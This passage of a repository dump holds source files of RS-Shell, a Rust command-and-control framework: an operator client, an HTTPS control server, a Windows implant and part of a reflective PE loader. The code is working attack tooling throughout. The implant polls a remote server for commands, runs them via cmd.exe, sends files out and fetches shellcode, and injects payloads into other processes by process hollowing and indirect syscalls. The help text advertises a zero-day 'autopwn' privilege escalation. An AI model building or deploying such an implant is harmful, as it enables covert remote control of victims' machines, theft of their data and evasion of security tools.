\"Sending shellcode file {:?} to the server\",\n                                path[1].trim_end_matches(\"\\r\\n\\0\")\n                            );\n                            /*\n                                Uploading shellcode file on the server\n                                To avoid creating a new function, we will reuse the 'download' route to upload the shellcode file on the server (see explain in the comment in the 'route.rs' file)\n                            */\n                            url = format!(\"https://{}/\", ip_addr);\n                            match multipart::Form::new()\n                                .file(\"file\", path[2].trim_end_matches(\"\\r\\n\\0\"))\n                            {\n                                Ok(form) => {\n                                    response = client.post(url).multipart(form).send()?;\n\n                                    if response.status().is_success() {\n                                        log::info!(\"Shellcode file uploaded in the 'downloads' directory on the server\");\n                                        let filename = Path::new(path[2].trim())\n                                            .file_name()\n                                            .unwrap()\n                                            .to_str()\n                                            .unwrap();\n                                        let file_path = format!(\"./downloads/{}\", filename);\n\n                                        // Sending the command to the implant\n                                        url = format!(\"https://{}/rs-shell/operator_cmd\", ip_addr);\n                                        log::info!(\n                                            \"Loading shellcode into a remote process memory\"\n                                        );\n                                        response = client\n                                            .post(url)\n                                            .body(format!(\n                                                \"{} {}:{} {}\",\n                                                path[0], path[1], file_path, path[3]\n                                            ))\n                                            .send()?;\n\n                                        if response.status().is_success() {\n                                            let body = response.text()?;\n                                            log::info!(\"{}\", body);\n                                        } else {\n                                            log::error!(\"RS-Shell error: {}\", response.status());\n                                        }\n                                    } else {\n                                        log::error!(\"RS-Shell error: {}\", response.status());\n                                    }\n                                }\n                                Err(e) => log::debug!(\"Error: {}\", e),\n                            }\n                        } else {\n                            // In case of PE injection with process hollowing\n                            url = format!(\"https://{}/rs-shell/operator_cmd\", ip_addr);\n                            log::info!(\"Loading {} into {}\", path[0], path[1]);\n                            response = client\n                                .post(url)\n                                .body(format!(\"{} {}:{} {}\", path[0], path[1], path[2], path[3]))\n                                .send()?;\n\n                            if response.status().is_success() {\n                                let body = response.text()?;\n                                log::info!(\"{}\", body);\n                            } else {\n                                log::error!(\"RS-Shell error: {}\", response.status());\n                            }\n                        }\n                    }\n                    continue;\n                } else if cmd.as_str().starts_with(\"load \") || cmd.as_str().starts_with(\"syscalls \")\n                {\n                    if _implant_os.ne(\"windows\") {\n                        log::warn!(\n                            \"Client's OS is not Windows, this command doesn't make any sense\"\n                        );\n                        continue;\n                    }\n                    let path: Vec<&str> = cmd.split(' ').collect();\n                    if path.len() != 2 {\n                        log::warn!(\n                            \"Invalid argument number. Usage is : {} C:\\\\path\\\\to\\\\file_to_inject\",\n                            path[0]\n                        );\n                    } else {\n                        log::info!(\"Loading PE into the implant memory\");\n                        url = format!(\"https://{}/rs-shell/operator_cmd\", ip_addr);\n                        response = client\n                            .post(url)\n                            .body(format!(\"{}:{}\", path[0], path[1]))\n                            .send()?;\n\n                        if response.status().is_success() {\n                            let body = response.text()?;\n                            log::info!(\"{}\", body);\n                        } else {\n                            log::error!(\"RS-Shell error: {}\", response.status());\n                        }\n                    }\n                    continue;\n                } else if cmd.as_str().starts_with(\"autopwn\") {\n                    print!(\"What is the meaning of life ? \");\n                    io::stdout().flush().unwrap();\n                    let mut life = String::new();\n                    io::stdin().read_line(&mut life).expect(\"[-] Input issue\");\n                    if life\n                        .trim_end_matches('\\0')\n                        .trim_end()\n                        .eq_ignore_ascii_case(\"42\")\n                    {\n                        autopwn::autopwn();\n                    }\n                    continue;\n                } else if cmd.as_str().trim_end() == \"exit\" || cmd.as_str().trim_end() == \"quit\" {\n                    url = format!(\"https://{}/rs-shell/operator_cmd\", ip_addr);\n                    response = client.post(url).body(cmd).send()?;\n                    if response.status().is_success() {\n                        let body = response.text()?;\n                        log::info!(\"{}\", body);\n                        println!(\"[+] Goodbye my friend <3\");\n                    }\n\n                    break;\n                } else {\n                    // To run a cmd command\n                    url = format!(\"https://{}/rs-shell/operator_cmd\", ip_addr);\n                    response = client.post(url).body(format!(\"cmd:{}\", cmd)).send()?;\n\n                    if response.status().is_success() {\n                        let body = response.text()?;\n                        log::debug!(\"{}\", body);\n\n                        // Retrieve the output\n                        url = format!(\"https://{}/rs-shell/wait_for_output\", ip_addr);\n                        response = client.get(url).send()?;\n\n                        if response.status().is_success() {\n                            let body = response.text()?;\n                            println!(\"{}\", body);\n                        } else {\n                            log::error!(\"RS-Shell error: {}\", response.status());\n                        }\n                    } else {\n                        log::error!(\"RS-Shell error: {}\", response.status());\n                    }\n                }\n            }\n        }\n    } else {\n        log::error!(\"RS-Shell server cannot be reached: {}\", response.status());\n    }\n\n    Ok(())\n}\n\nfn https_help() -> String {\n    \"[+] Custom integrated commands :\n\n    [+] Loading commands\n    > load C:\\\\path\\\\to\\\\PE_to_load\n        load a PE file in the client process memory and executes it. This will kill the implant !\n    > load -h C:\\\\path\\\\to\\\\PE_to_load C:\\\\path\\\\to\\\\PE_to_hollow\n        load a PE file in a remote process memory with process hollowing and executes it\n    > load -s C:\\\\path\\\\to\\\\shellcode.bin C:\\\\path\\\\to\\\\PE_to_execute\n        load a shellcode in a remote process memory and start a new thread with it\n\n    [+] Loading commands with indirect syscalls\n    > syscalls C:\\\\path\\\\to\\\\PE_to_load\n        load a PE file in the client process memory and executes it, with indirect syscalls. This will kill the reverse shell !\n    > syscalls -h C:\\\\path\\\\to\\\\PE_to_load C:\\\\path\\\\to\\\\PE_to_hollow\n        load a PE file in a remote process memory with process hollowing and executes it, with indirect syscalls\n    > syscalls -s C:\\\\path\\\\to\\\\shellcode.bin C:\\\\path\\\\to\\\\PE_to_execute\n        load a shellcode in a remote process memory and start a new thread with it, with indirect syscalls\n\n    [+] Network commands\n    > download C:\\\\file\\\\to\\\\download\n        download a file from the remote system and store it on the server\n    > upload C:\\\\local\\\\file\\\\to\\\\upload\n        upload a file from the operator machine to the remote system\n\n    [+] Special commands\n    > autopwn\n        escalate to the SYSTEM or root account from any local account by exploiting a zero day\n    \".to_string()\n}\n"
  },
  {
    "path": "src/https/https_server.rs",
    "content": "use actix_multipart::form::tempfile::TempFileConfig;\nuse actix_web::http::KeepAlive;\nuse actix_web::{App, HttpServer, middleware, web};\nuse std::fs::File;\nuse std::io::BufReader;\nuse std::sync::Arc;\n\nuse crate::https::routes::*;\n\n#[actix_web::main]\npub async fn server(i: &str, cert_path: &str, tls_key: &str) -> std::io::Result<()> {\n    rustls::crypto::ring::default_provider();\n\n    // Rustls doen't seem to support PKCS12 currently, so we need to use PEM\n    let mut certs_file = BufReader::new(File::open(cert_path).unwrap());\n    let mut key_file = BufReader::new(File::open(tls_key).unwrap());\n\n    // to create a self-signed temporary cert for testing:\n    // `openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj '/CN=localhost'`\n    let tls_certs = rustls_pemfile::certs(&mut certs_file)\n        .collect::<Result<Vec<_>, _>>()\n        .unwrap();\n    let tls_key = rustls_pemfile::pkcs8_private_keys(&mut key_file)\n        .next()\n        .unwrap()\n        .unwrap();\n\n    // set up TLS config options\n    let tls_config = rustls::ServerConfig::builder()\n        .with_no_client_auth()\n        .with_single_cert(tls_certs, rustls::pki_types::PrivateKeyDer::Pkcs8(tls_key))\n        .unwrap();\n\n    log::info!(\"Creating directories and files\");\n    std::fs::create_dir_all(\"./downloads\")?;\n    std::fs::create_dir_all(\"./tmp\")?;\n\n    let state = Arc::new(AppState::new());\n\n    let port = 443;\n    HttpServer::new(move || {\n        let data = web::Data::new(state.clone());\n        App::new()\n            .wrap(middleware::Logger::default())\n            .app_data(TempFileConfig::default().directory(\"./tmp\"))\n            .app_data(data)\n            /*\n                Using routes instead of services with a scope and macros, because file upload with multipart data seems bugged with scopes\n                Additionally, it looks like it is only possible to send multipart request to the root of the app, which must be declared as a service with a resource\n                If someone knows how to fix this, please let me know\n            */\n            .service(web::resource(\"/\").route(web::post().to(download)))\n            .route(\"/rs-shell/index\", web::get().to(index))\n            .route(\"/rs-shell/next_task\", web::get().to(next_task))\n            .route(\n                \"/rs-shell/shellcode{shellcode:.*}\",\n                web::get().to(shellcode),\n            )\n            .route(\"/rs-shell/wait_for_output\", web::get().to(wait_for_output))\n            .route(\"/rs-shell/upload{filename:.*}\", web::get().to(upload))\n            .route(\"/rs-shell/receive_output\", web::post().to(receive_output))\n            .route(\"/rs-shell/operator_cmd\", web::post().to(operator_cmd))\n            .route(\"/rs-shell/os\", web::post().to(implant_os))\n    })\n    .bind_rustls_0_22((i, port), tls_config)?\n    .keep_alive(KeepAlive::Os)\n    .run()\n    .await\n}\n"
  },
  {
    "path": "src/https/https_windows_implant.rs",
    "content": "use crate::utils::tools_windows::{call_loader_pe, call_loader_shellcode};\n\nuse std::error::Error;\nuse std::ffi::c_void;\nuse std::ffi::CString;\nuse std::fs::File;\nuse std::io::{self, BufReader, Read, Write};\nuse std::path::Path;\nuse std::process::Command;\nuse std::ptr::null_mut;\nuse std::{thread, time};\n\nuse windows_sys::Win32::Foundation::GetLastError;\nuse windows_sys::Win32::Networking::WinHttp::{\n    INTERNET_DEFAULT_HTTPS_PORT, SECURITY_FLAG_IGNORE_UNKNOWN_CA,\n};\nuse windows_sys::Win32::Networking::WinInet::{\n    HttpOpenRequestA, HttpSendRequestA, InternetCloseHandle, InternetConnectA, InternetErrorDlg,\n    InternetOpenA, InternetReadFile, InternetSetOptionA, ERROR_INTERNET_FORCE_RETRY,\n    FLAGS_ERROR_UI_FILTER_FOR_ERRORS, FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS,\n    FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, INTERNET_FLAG_IGNORE_CERT_CN_INVALID,\n    INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_KEEP_CONNECTION, INTERNET_FLAG_NEED_FILE,\n    INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD, INTERNET_FLAG_SECURE,\n    INTERNET_OPEN_TYPE_PRECONFIG, INTERNET_OPTION_SECURITY_FLAGS, INTERNET_SERVICE_HTTP,\n    SECURITY_FLAG_IGNORE_WRONG_USAGE,\n};\nuse windows_sys::Win32::System::Console::GetConsoleWindow;\n\nfn init_session(ip: &str, url: &str) -> Result<(*mut c_void, *mut c_void), io::Error> {\n    // Standard user agent setup, can be changed to a custom one\n    let user_agent_cstring = CString::new(\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\").unwrap();\n    let user_agent = user_agent_cstring.as_ptr() as *const u8;\n\n    unsafe {\n        // The flag 'INTERNET_OPEN_TYPE_PRECONFIG' permits to find proxy configurations in the registry\n        let h_internet = InternetOpenA(\n            user_agent,\n            INTERNET_OPEN_TYPE_PRECONFIG,\n            null_mut(),\n            null_mut(),\n            0,\n        );\n        if h_internet.is_null() {\n            return Err(io::Error::last_os_error());\n        }\n\n        let ip_cstring = CString::new(ip).unwrap();\n        let ip = ip_cstring.as_ptr() as *const u8;\n        let h_connect = InternetConnectA(\n            h_internet,\n            ip,\n            INTERNET_DEFAULT_HTTPS_PORT,\n            null_mut(),\n            null_mut(),\n            INTERNET_SERVICE_HTTP,\n            0,\n            0,\n        );\n        if h_connect.is_null() {\n            InternetCloseHandle(h_internet);\n            return Err(io::Error::last_os_error());\n        }\n\n        let http_verb = \"GET\";\n        make_request(h_connect, url, http_verb, null_mut(), 0, false)?;\n\n        Ok((h_internet, h_connect))\n    }\n}\n\nunsafe fn make_request(\n    h_connect: *mut c_void,\n    url: &str,\n    http_verb: &str,\n    data: *mut c_void,\n    data_len: u32,\n    download: bool,\n) -> io::Result<Vec<u8>> {\n    let http_verb_cstring = CString::new(http_verb).unwrap();\n    let http_verb = http_verb_cstring.as_ptr() as *const u8;\n    let url_cstring = CString::new(url).unwrap();\n    let url = url_cstring.as_ptr() as *const u8;\n\n    unsafe {\n        // The flag 'INTERNET_FLAG_KEEP_CONNECTION' permits to handle authentication\n        let h_request = HttpOpenRequestA(\n            h_connect,\n            http_verb,\n            url,\n            null_mut(),\n            null_mut(),\n            null_mut(),\n            INTERNET_FLAG_RELOAD\n                | INTERNET_FLAG_SECURE\n                | INTERNET_FLAG_KEEP_CONNECTION\n                | INTERNET_FLAG_NEED_FILE\n                | INTERNET_FLAG_NO_CACHE_WRITE,\n            0,\n        );\n        if h_request.is_null() {\n            return Err(io::Error::last_os_error());\n        }\n\n        // Flags to ignore certificate errors\n        let mut flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA\n            | SECURITY_FLAG_IGNORE_WRONG_USAGE\n            | INTERNET_FLAG_IGNORE_CERT_CN_INVALID\n            | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;\n        InternetSetOptionA(\n            h_request,\n            (INTERNET_OPTION_SECURITY_FLAGS as i32).try_into().unwrap(),\n            &mut flags as *mut _ as *mut c_void,\n            std::mem::size_of_val(&flags) as u32,\n        );\n\n        loop {\n            if download {\n                let headers = CString::new(\"Content-Type: multipart/form-data; boundary=---------------------------345495480920487783503652546823\").unwrap();\n                let success = HttpSendRequestA(\n                    h_request,\n                    headers.as_ptr() as *const u8,\n                    -1isize as u32,\n                    data,\n                    data_len,\n                );\n                if success == 0 {\n                    InternetCloseHandle(h_request);\n                    return Err(io::Error::last_os_error());\n                }\n            } else {\n                let success = HttpSendRequestA(h_request, null_mut(), 0, data, data_len);\n                if success == 0 {\n                    log::debug!(\"HttpSendRequestA error: {}\", io::Error::last_os_error());\n                    InternetCloseHandle(h_request);\n                    return Err(io::Error::last_os_error());\n                }\n            }\n\n            // Check the errors and if the request requires authentication\n            let dw_error_code = GetLastError();\n            let hwnd = GetConsoleWindow();\n            let dw_error = InternetErrorDlg(\n                hwnd,\n                h_request,\n                dw_error_code,\n                FLAGS_ERROR_UI_FILTER_FOR_ERRORS\n                    | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS\n                    | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA,\n                null_mut(),\n            );\n\n            if dw_error == ERROR_INTERNET_FORCE_RETRY {\n                log::debug!(\"Force retry error: {}\", io::Error::last_os_error());\n                continue;\n            } else {\n                break;\n            }\n        }\n\n        let mut buffer = [0; 1024];\n        let mut vec_output = Vec::new();\n        let mut read_size = 0;\n        while InternetReadFile(\n            h_request,\n            buffer.as_mut_ptr() as *mut _,\n            buffer.len() as u32,\n            &mut read_size,\n        ) != 0\n            && read_size > 0\n        {\n            vec_output.extend_from_slice(&buffer[..read_size as usize]);\n            read_size = 0;\n        }\n\n        InternetCloseHandle(h_request);\n        Ok(vec_output)\n    }\n}\n\nfn do_stuff(cmd: &str) -> Vec<u8> {\n    let exec = Command::new(\"cmd.exe\").args(&[\"/c\", cmd]).output().unwrap();\n\n    let stdo = exec.stdout.as_slice();\n    let _stdr = exec.stderr.as_slice();\n\n    if _stdr.len() == 0 {\n        return stdo.to_vec();\n    } else {\n        return _stdr.to_vec();\n    }\n}\n\npub fn implant(ip: &str) -> Result<(), Box<dyn Error>> {\n    // Usefull for proxy authentication if proxy and credentials are already known\n    /*let proxy = \"http://proxyserver:8080\";\n    let username = \"username\";\n    let password = \"password\";*/\n\n    let index_url = \"/rs-shell/index\";\n    match init_session(ip, index_url) {\n        Ok((h_internet, h_connect)) => {\n            log::debug!(\"Session initialized\");\n\n            let os = std::env::consts::FAMILY;\n            unsafe {\n                make_request(\n                    h_connect,\n                    \"/rs-shell/os\",\n                    \"POST\",\n                    os.as_ptr() as *mut c_void,\n                    os.len() as u32,\n                    false,\n                )\n                .expect(\"Error sending OS family\");\n            }\n\n            loop {\n                match unsafe {\n                    make_request(\n                        h_connect,\n                        \"/rs-shell/next_task\",\n                        \"GET\",\n                        null_mut(),\n                        0,\n                        false,\n                    )\n                } {\n                    Ok(response) => {\n                        log::debug!(\n                            \"Task: {:?}\",\n                            String::from_utf8_lossy(response.as_slice())\n                                .trim()\n                                .trim_start_matches('\\u{feff}')\n                        );\n                        // Needed to avoid borrowing error on freed value\n                        let res = String::from_utf8_lossy(response.as_slice())\n                            .trim()\n                            .trim_start_matches('\\u{feff}')\n                            .to_string();\n                        let (cmd, value) = match res.split_once(':') {\n                            Some((cmd, value)) => (cmd, value),\n                            None => (res.as_str(), \"\"),\n                        };\n                        match cmd {\n                            \"cmd\" => {\n                                let mut res_cmd = do_stuff(value);\n                                log::debug!(\"{:?}\", String::from_utf8_lossy(res_cmd.as_slice()));\n                                match unsafe {\n                                    make_request(\n                                        h_connect,\n                                        \"/rs-shell/receive_output\",\n                                        \"POST\",\n                                        res_cmd.as_mut_ptr() as *mut c_void,\n                                        res_cmd.len() as u32,\n                                        false,\n                                    )\n                                } {\n                                    Ok(_) => log::debug!(\"Command executed\"),\n                                    Err(e) => log::debug!(\"Error: {}\", e),\n                                }\n                            }\n                            \"load\" | \"load -h\" | \"load -s\" => {\n                                if cmd == \"load -h\" {\n                                    let path: Vec<&str> = value.split(\" \").collect();\n                                    log::debug!(\"Loading the PE {} into the process {} with process hollowing\", path[0], path[1]);\n                                    match call_loader_pe(path[0], path[1], 0) {\n                                        Ok(_) => log::debug!(\"PE loaded\"),\n                                        Err(e) => log::debug!(\n                                            \"Error loading PE in the remote process: {}\",\n                                            e\n                                        ),\n                                    }\n                                } else if cmd == \"load -s\" {\n                                    let path: Vec<&str> = value.split(\" \").collect();\n                                    log::debug!(\n                                        \"Loading the shellcode {} into the {} process memory\",\n                                        path[0],\n                                        path[1]\n                                    );\n                                    match unsafe {\n                                        make_request(\n                                            h_connect,\n                                            (\"/rs-shell/shellcode\".to_owned() + path[0]).as_str(),\n                                            \"GET\",\n                                            null_mut(),\n                                            0,\n                                            false,\n                                        )\n                                    } {\n                                        Ok(response) => {\n                                            //let shellcode = response.as_slice();\n                                            match call_loader_shellcode(response, path[1], 1) {\n                                                Ok(_) => log::debug!(\"Shellcode loaded\"),\n                                                Err(e) => {\n                                                    log::debug!(\"Error loading shellcode: {}\", e)\n                                                }\n                                            }\n                                        }\n                                        Err(e) => log::debug!(\"Error: {}\", e),\n                                    }\n                                } else {\n                                    log::debug!(\"Loading the PE {} into the implant memory\", value);\n                                    match call_loader_pe(value, \"\", 2) {\n                                        Ok(_) => log::debug!(\"PE loaded\"),\n                                        Err(e) => log::debug!(\"Error loading PE: {}\", e),\n                                    }\n                                }\n                            }\n                            \"syscalls\" | \"syscalls -h\" | \"syscalls -s\" => {\n                                if cmd == \"syscalls -h\" {\n                                    let path: Vec<&str> = value.split(\" \").collect();\n                                    log::debug!(\"Loading the PE {} into the process {} with process hollowing\", path[0], path[1]);\n                                    match call_loader_pe(path[0], path[1], 1) {\n                                        Ok(_) => log::debug!(\"PE loaded\"),\n                                        Err(e) => log::debug!(\n                                            \"Error loading PE in the remote process: {}\",\n                                            e\n                                        ),\n                                    }\n                                } else if cmd == \"syscalls -s\" {\n                                    let path: Vec<&str> = value.split(\" \").collect();\n                                    log::debug!(\n                                        \"Loading the shellcode into a remote process memory\"\n                                    );\n                                    match unsafe {\n                                        make_request(\n                                            h_connect,\n                                            (\"/rs-shell/shellcode\".to_owned() + path[0]).as_str(),\n                                            \"GET\",\n                                            null_mut(),\n                                            0,\n                                            false,\n                                        )\n                                    } {\n                                        Ok(response) => {\n                                            let shellcode = response.as_slice();\n                                            match call_loader_shellcode(\n                                                shellcode.to_vec(),\n                                                path[1],\n                                                0,\n                                            ) {\n                                                Ok(_) => log::debug!(\"Shellcode loaded\"),\n                                                Err(e) => {\n                                                    log::debug!(\"Error loading shellcode: {}\", e)\n                                                }\n                                            }\n                                        }\n                                        Err(e) => log::debug!(\"Error: {}\", e),\n                                    }\n                                } else {\n                                    log::debug!(\"Loading the PE {} into the implant memory\", value);\n                                    match call_loader_pe(value, \"\", 3) {\n                                        Ok(_) => log::debug!(\"PE loaded\"),\n                                        Err(e) => log::debug!(\"Error loading PE: {}\", e),\n                                    }\n                                }\n                            }\n                            \"upload\" => {\n                                let path = Path::new(value.trim());\n                                log::debug!(\n                                    \"Uploading...{}\",\n                                    path.file_name().unwrap().to_str().unwrap()\n                                );\n                                match unsafe {\n                                    make_request(\n                                        h_connect,\n                                        (\"/rs-shell/upload\".to_owned() + value).as_str(),\n                                        \"GET\",\n                                        null_mut(),\n                                        0,\n                                        false,\n                                    )\n                                } {\n                                    Ok(response) => {\n                                        File::create(path.file_name().unwrap().to_str().unwrap())\n                                            .unwrap()\n                                            .write_all(response.as_slice())?;\n                                    }\n                                    Err(e) => log::debug!(\"Error: {}\", e),\n                                }\n                            }\n                            \"download\" => {\n                                let path = Path::new(value.trim());\n                                log::debug!(\n                                    \"Downloading...{}\",\n                                    path.file_name().unwrap().to_str().unwrap()\n                                );\n                                match File::open(path) {\n                                    Ok(file) => {\n                                        let mut reader = BufReader::new(file);\n                                        let mut buffer = Vec::new();\n                                        reader\n                                            .read_to_end(&mut buffer)\n                                            .expect(\"Error reading file\");\n                                        // Let's build the multipart form data for big files\n                                        let begin_multipart = String::from(\"-----------------------------345495480920487783503652546823\\r\\nContent-Disposition: form-data; name=\\\"file\\\"; filename=\\\"\".to_owned() + path.file_name().unwrap().to_str().unwrap() + \"\\\"\\r\\nContent-Type: text/plain\\r\\n\\r\\n\");\n                                        let end_multipart = String::from(\"\\r\\n-----------------------------345495480920487783503652546823--\\r\\n\");\n                                        buffer.splice(\n                                            0..0,\n                                            begin_multipart.as_bytes().iter().cloned(),\n                                        );\n                                        buffer.extend(end_multipart.as_bytes());\n\n                                        match unsafe {\n                                            make_request(\n                                                h_connect,\n                                                \"/\",\n                                                \"POST\",\n                                                buffer.as_mut_ptr() as *mut c_void,\n                                                buffer.len() as u32,\n                                                true,\n                                            )\n                                        } {\n                                            Ok(response) => log::debug!(\n                                                \"{}\",\n                                                String::from_utf8_lossy(response.as_slice())\n                                            ),\n                                            Err(e) => log::debug!(\"Error: {}\", e),\n                                        }\n                                    }\n                                    Err(e) => log::debug!(\"Error: {}\", e),\n                                }\n                            }\n                            \"No task\" => {\n                                log::debug!(\"No task\");\n                            }\n                            \"exit\" | \"quit\" => {\n                                log::debug!(\"Exiting...\");\n                                unsafe {\n                                    InternetCloseHandle(h_connect);\n                                    InternetCloseHandle(h_internet);\n                                }\n\n                                break;\n                            }\n                            _ => log::debug!(\"Unknown command\"),\n                        }\n                    }\n                    Err(e) => {\n                        log::debug!(\"Error obtaining new task: {}. Trying to reinit the session from the begining.\", e);\n                        implant(ip)?;\n                    }\n                }\n                // For the moment the implant sleeps 2 seconds between each request, could be interesting to randomize this value\n                // Or setup an option to change it via the CLI\n                thread::sleep(time::Duration::from_secs(2));\n            }\n        }\n        Err(e) => {\n            log::debug!(\"RS-Shell server cannot be reached: {}\", e);\n            return Err(Box::new(e));\n        }\n    }\n\n    Ok(())\n}\n"
  },
  {
    "path": "src/https/routes.rs",
    "content": "use actix_files::NamedFile;\nuse actix_multipart::form::{MultipartForm, tempfile::TempFile};\nuse actix_web::web::Bytes;\nuse actix_web::{HttpRequest, HttpResponse, Responder, web};\nuse std::collections::VecDeque;\nuse std::fs::File;\nuse std::io::Write;\nuse std::path::PathBuf;\nuse std::sync::Arc;\nuse tokio::sync::{Mutex, Notify};\n\npub async fn index(_req: HttpRequest) -> impl Responder {\n    r#\"\n    ____  _____      _____ __         ____\n   / __ \\/ ___/     / ___// /_  ___  / / /\n  / /_/ /\\__ \\______\\__ \\/ __ \\/ _ \\/ / / \n / _, _/___/ /_____/__/ / / / /  __/ / /  \n/_/ |_|/____/     /____/_/ /_/\\___/_/_/                                                  \n    in Rust with love by BlackWasp\n              @BlWasp_                          \n\n   \"#\n    .to_string()\n}\n\npub struct AppState {\n    task_queue: Mutex<VecDeque<String>>,\n    output: Mutex<Option<String>>,\n    output_ready: Notify,\n}\n\nimpl AppState {\n    pub fn new() -> Self {\n        Self {\n            task_queue: Mutex::new(VecDeque::new()),\n            output: Mutex::new(None),\n            output_ready: Notify::new(),\n        }\n    }\n}\n\npub async fn implant_os(bytes: Bytes) -> impl Responder {\n    let os = String::from_utf8_lossy(bytes.to_vec().as_slice())\n        .parse::<String>()\n        .unwrap();\n    log::debug!(\"OS: {}\", os);\n    let mut file = File::create(\"os.txt\").expect(\"[-] Create os file failed\");\n    file.write_all(os.as_bytes())\n        .expect(\"[-] Write os file failed\");\n\n    // When a new implant connects, all previous outputs are deleted\n    match std::fs::remove_file(\"output.txt\") {\n        Ok(_) => (),\n        Err(_) => (),\n    }\n\n    HttpResponse::Ok().body(\"OS written to file\")\n}\n\n// Consumer : get a task from the queue\npub async fn next_task(state: web::Data<Arc<AppState>>) -> HttpResponse {\n    let mut queue = state.task_queue.lock().await;\n    match queue.pop_front() {\n        Some(task) => HttpResponse::Ok().body(task),\n        None => HttpResponse::Ok().body(\"No task\"),\n    }\n}\n\n// Similar to upload, this function only exists to make the code clearer\npub async fn shellcode(_req: HttpRequest) -> actix_web::Result<NamedFile> {\n    let path: PathBuf = _req.match_info().query(\"shellcode\").parse().unwrap();\n    log::debug!(\"Path: {:?}\", path);\n    Ok(NamedFile::open(path)?)\n}\n\n/*\n    'upload' is used to upload files on the target machine (not on the server), and 'download' is used to download files from the target machine\n    Upload uses GET and download uses POST because in fact, during upload the implant writes the file on its machine, so it \"GETS\" the file from the server\n    While during download, the implant reads the file from its machine and sends it to us, so it \"POSTS\" the file\n\n    This code implies a potential security risk with path traversal, as the filename is not restricted\n*/\npub async fn upload(_req: HttpRequest) -> actix_web::Result<NamedFile> {\n    let path: PathBuf = _req.match_info().query(\"filename\").parse().unwrap();\n    log::debug!(\"Path: {:?}\", path);\n    Ok(NamedFile::open(path)?)\n}\n\n#[derive(Debug, MultipartForm)]\npub struct UploadForm {\n    #[multipart(rename = \"file\")]\n    files: Vec<TempFile>,\n}\n\npub async fn download(MultipartForm(form): MultipartForm<UploadForm>) -> impl Responder {\n    let mut filename = String::new();\n    println!(\"Files: {:?}\", form.files);\n    for f in form.files {\n        let path = format!(\"./downloads/{}\", f.file_name.clone().unwrap());\n        log::debug!(\"saving to {path}\");\n        f.file.persist(path).unwrap();\n        filename = f.file_name.unwrap();\n    }\n\n    HttpResponse::Ok().body(format!(\"File {} downloaded\", filename))\n}\n\n// Productor : add a task to the queue\npub async fn operator_cmd(state: web::Data<Arc<AppState>>, bytes: Bytes) -> HttpResponse {\n    let body = String::from_utf8_lossy(&bytes)\n        .trim_end_matches(\"\\r\\n\\0\")\n        .to_string();\n    let mut queue = state.task_queue.lock().await;\n    queue.push_back(body);\n    HttpResponse::Ok().body(\"Task queued\")\n}\n\n// Consumer : wait for the output to be ready, then get it and delete it from the state\npub async fn wait_for_output(state: web::Data<Arc<AppState>>) -> HttpResponse {\n    loop {\n        // Check if the output is ready, if yes return it and delete it from the state\n        {\n            let mut output = state.output.lock().await;\n            if let Some(data) = output.take() {\n                log::debug!(\"Returning output: {}\", data);\n                return HttpResponse::Ok().body(data);\n            }\n        } // Release the lock before waiting for the notification\n\n        // Wait for the implant to notify that the output is ready\n        state.output_ready.notified().await;\n    }\n}\n\n// Output received from the implant, save it in the state and notify the waiting consumer\npub async fn receive_output(state: web::Data<Arc<AppState>>, bytes: Bytes) -> HttpResponse {\n    let body = String::from_utf8_lossy(&bytes).to_string();\n    log::debug!(\"Output received: {}\", body);\n    let mut output = state.output.lock().await;\n    *output = Some(body);\n    state.output_ready.notify_one();\n    HttpResponse::Ok().finish()\n}\n"
  },
  {
    "path": "src/loader.rs",
    "content": "#![cfg(target_family = \"windows\")]\n\nuse crate::utils::structures::{\n    IMAGE_nt_headS64, IMAGE_DOS_HEADER, IMAGE_IMPORT_DESCRIPTOR, IMAGE_SECTION_HEADER,\n    MY_IMAGE_BASE_RELOCATION, MY_IMAGE_THUNK_DATA64,\n};\nuse crate::utils::tools_windows::*;\n\nuse std::error::Error;\nuse std::ffi::c_void;\nuse std::mem::transmute;\n\nuse ntapi::ntmmapi::NtUnmapViewOfSection;\nuse ntapi::winapi::um::winnt::CONTEXT_INTEGER;\nuse windows_sys::Wdk::System::Threading::{NtQueryInformationProcess, PROCESSINFOCLASS};\nuse windows_sys::Win32::Foundation::{CloseHandle, GetLastError};\nuse windows_sys::Win32::System::Diagnostics::Debug::{\n    GetThreadContext, ReadProcessMemory, SetThreadContext, WriteProcessMemory,\n};\nuse windows_sys::Win32::System::LibraryLoader::{GetProcAddress, LoadLibraryA};\nuse windows_sys::Win32::System::Memory::{\n    VirtualAlloc, VirtualAllocEx, VirtualFree, VirtualProtectEx,\n};\nuse windows_sys::Win32::System::Threading::{\n    CreateProcessA, CreateRemoteThread, CreateThread, GetCurrentProcess, ResumeThread,\n    WaitForSingleObject, PROCESS_BASIC_INFORMATION, STARTUPINFOA,\n};\n\npub fn reflective_loader(buf: Vec<u8>) -> Result<(), Box<dyn Error>> {\n    //Retrieve the sizes of the headers and the PE image in memory\n    let header_s = get_size(&buf, \"header\");\n    let img_s = get_size(&buf, \"image\");\n    if header_s == 0 || img_s == 0 {\n        return Err(\"Error retrieving PE sizes\".into());\n    }\n\n    unsafe {\n        let base = VirtualAlloc(std::ptr::null_mut(), img_s, 0x1000, 0x04);\n\n        //Retrieve the DOS magic header and the elfa new (address of the begining of the PE after the DOS header)\n        WriteProcessMemory(\n            GetCurrentProcess(),\n            base,\n            buf.as_ptr() as *const c_void,\n            header_s,\n            std::ptr::null_mut(),\n        );\n\n        let mut dos_head = IMAGE_DOS_HEADER::default();\n        fill_structure_from_array(&mut dos_head, &buf, false);\n\n        log::debug!(\"DOS magic header : {:x?}\", dos_head.e_magic);\n        log::debug!(\n            \"Elfa new (address of the begining of the PE): {:x?}\",\n            dos_head.e_lfanew\n        );\n\n        //Retrieve the NT headers starting at the elfa new address\n        let mut nt_head = IMAGE_nt_headS64::default();\n        fill_structure_from_memory(\n            &mut nt_head,\n            (base as isize + dos_head.e_lfanew as isize) as *const c_void,\n            GetCurrentProcess(),\n            false,\n        );\n\n        log::debug!(\"NT 